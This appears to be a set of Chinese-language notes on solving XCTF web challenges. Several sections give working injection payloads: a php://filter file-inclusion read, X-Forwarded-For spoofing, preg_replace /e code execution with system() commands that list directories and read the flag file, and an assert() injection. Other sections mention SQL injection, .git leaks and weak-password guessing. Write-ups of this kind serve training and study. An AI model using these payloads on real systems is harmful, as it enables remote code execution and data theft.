攻防世界
通过随便一点,发现只有这个页面可以点的
通过查看源代码,发现?page=index
通过文件包含漏洞php流的
http://111.198.29.45:39719/index.php?page=php://filter/convert.base64-encode/resource=index.php
通过base64解密得到了一个php源码,并得到关键代码段
根据$_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1'
,我们可以通过修改xff来登入
再者,此处考察的是preg_replace 函数使用 /e 模式,导致代码执行的问题。也就是说,pat值和sub值相同,rep的代码就会执行。
XFF改成127.0.0.1之后,GET进来三个参数。这里调用了preg_replace函数。并且没有对pat进行过滤,所以可以传入"/e"触发漏洞,触发后replacement的语句是会得到执行的,首先执行一下phpinfo()
http://111.198.29.45:39719/index.php?pat=/test/e&rep=phpinfo()&sub=test
http://111.198.29.45:39719/index.php?pat=/test/e&rep=system(%27ls%27)&sub=test
111.198.29.45:39719/index.php?pat=/test/e&rep=system("cd s3chahahaDir %26%26 ls")&sub=test
view-source:http://111.198.29.45:39719/index.php?pat=/test/e&rep=system(%22cat%20s3chahahaDir/flag/flag.php%22)&sub=test
这一题让我一直想骂人。。。。
看到这个页面,我一直以为是sql注入的题目,结果不管怎么注入,url一直这个样,看来是对sql注入有防范,我就试试php伪协议,结果也不行
最后竟然只是对id的值进行无脑爆破
这一题一打开就有一个search的搜索框,用burp抓包打开,然后简单的sql注入语句就可以解决了
发现有用git,所以猜测有/.git/泄露,用dirsearch.py扫一下,再用githack
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
发现这段代码,要拿到flag
file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
主要靠这个,
?page=haha') or system("cat templates/flag.php");//
这一题就只考robots协议
先采用弱口令admin 123456 admin1 123456
通过不同的回显,发现存在着admin的用户
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
$haha = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$xixi = str_rot13($haha);
$ai = strrev($xixi);
echo $ai;